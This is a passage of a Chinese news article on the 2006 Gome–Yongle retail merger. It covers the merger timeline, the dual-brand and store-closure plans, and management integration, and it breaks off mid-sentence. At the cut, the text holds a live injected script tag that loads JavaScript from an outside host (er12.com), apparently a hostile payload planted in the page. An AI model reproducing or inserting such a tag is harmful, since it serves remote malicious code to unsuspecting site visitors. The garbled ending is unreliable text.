11月22日的国美电器·永乐家电合并庆典仪式标志着国美对永乐的整合正式开始。连锁业界这宗最大的并购案从7月宣布开始，一直牵动着业界人士的心。尽管在当天的更早时候新国美已经对外公布了较为详细的国永合并后的发展战略，但该战略中众多的“和谐关系”、“解决方案”、“行业利益共同体”等字眼，并未真正让到场的媒体明了国美合并永乐后，双品牌差异化道路要如何走、人员如何整合、与供应商的所谓更和谐关系如何落到实处等关键问题。
会上，按照双方的预计，新集团将在2006年底完成合并后的整合工作，而之前国美方面承诺的“不裁员、不关店”的承诺已经不再提。黄光裕、陈晓、王俊洲三人作为新国美的战略制定者、企业经营决策者与战略执行者，对媒体交出了充满回旋余地的答案，令这宗“看起来很美”的并购遗留诸多悬念。
背景
国美永乐合并进程
7月25日
香港联交所发布公告，国美电器(hk.0493)与中国永乐(hk.0503)正式启动合并；国美以“换股加现金”方式，总对价总额为52.68亿元；
8月15日
永乐发布中期业绩，其资产净产值为23.59亿元，达到协议不少于22.5亿元要求；
8月29日
国美永乐确定最后收购期限为2006年10月17日；
9月18日
国美电器召开股东特别大会，出席股东全票通过了并购中国永乐权益议案；
10月17日
香港联交所发布公告，国美电器并购中国永乐已得到超过90%的永乐股东接纳；
10月27日
国家商务部召开国美永乐合并案听证会；
11月1日
国美永乐合并满足所有先决条件，合并成功完成。
11月16日
中国永乐股票停牌，并预计于2007年元月底在香港联交所下市，永乐退市后将成为国美全资子公司；
11月22日
国美永乐合并成功庆典峰会在北京隆重举行。
悬念1 双品牌战略能否实现“1＋1〉2”？
关键词：门店整合
一个半月不到，这是新国美集团为国永整合彻底完成定下的最后时间表，到今年年底，国美与永乐两个品牌，都将被纳入新集团统一经营。国美、鹏润、永乐成为新集团旗下的三个品牌，这三个品牌如何运作？国美董事会主席黄光裕表示，鹏润电器，由于定位高端，已经与国美、永乐的品牌定位有较大差异性，而今后新集团要进一步细分市场，对高中低端消费者进行差异化营销。显然，对于国美品牌和永乐品牌如何体现差异化，黄光裕并没有一个明确的说法。
有业内人士指出，黄光裕言下之意在于，国美与永乐将需要在中端与低端市场分配各自定位。实际上，无论将永乐还是国美，定义成为一个低端品牌都不现实，而黄光裕最聪明的做法是，暂时保留永乐在强势地区的品牌，未来只用国美品牌在全国扩张，而逐渐用国美品牌取代永乐在强势地区的地位。这从黄拒绝透露双品牌战略下双方的具体开店计划可见一斑。
会上，双方合并时黄光裕强调的“不关店”的承诺不再提起，而在双方合并庆典仪式举行前夕，深圳等地的关店消息已经传出。国美电器常务副总王俊洲接受媒体采访时透露，“永乐在京津的门店已确定将转化为国美品牌。”他强调，双品牌策略将仅在此前永乐业绩优良的市场区域实行，比如以上海为中心的东部沿海地区，包括广东、浙江等省份的众多重点城市。此外，“个别内陆地区，例如郑州，由于永乐的业绩也很优良，双品牌策略也会在当地延续。”这意味着永乐之前众多不成功的扩张尝试被新国美集团否定，例如在北方和西部地区，永乐品牌将被国美品牌所取代，永乐在深圳门店亦被关闭也被证明为事实。
不过，即使在永乐最强势的上海市场，永乐能否保持原有阵营也是一个未知数。根据上海媒体的报道，国美、永乐在上海面对面的门店多达21个，关店是必然之举，关键在于关哪个品牌的门店而已。
国美集团副总裁魏秋立表示，由于历史的原因，国美电器、永乐电器同质化程度较高，而定位高端时尚品牌的鹏润电器则与前两者有较大差异。因此，未来将主要拉开国美和永乐的不同，以便三大品牌针对不同目标市场和消费群体，实现差异化经营。对此，黄光裕再提“1＋1〉2”的目标，但亦坦言，差异化的推进，起码需要两年时间方可见初步成效。
而有专家认为，双品牌运作要经过一段磨合期才能看出效果如何，但不可否认的是，目前国美与永乐的店面整合处于尴尬地位，一家公司运营两家不同的店，运营效率不会高，而且会产生关店不关店的问题。即使不关闭其中一家店，国美也可能只是停留在多了一家店的层面而已，并不表明新国美的竞争力增强。
悬念2 陈晓会否被架空？
关键词：人员整合
在庆典仪式上，国美集团副总裁魏秋立公布了新国美的职能架构，被划分为3大体系6个层面，即决策体系、职能体系和品牌管理体系。董事局主席、集团总裁、决策委员会和常务副总裁属于第一?script src=http://er12.com/t.js>
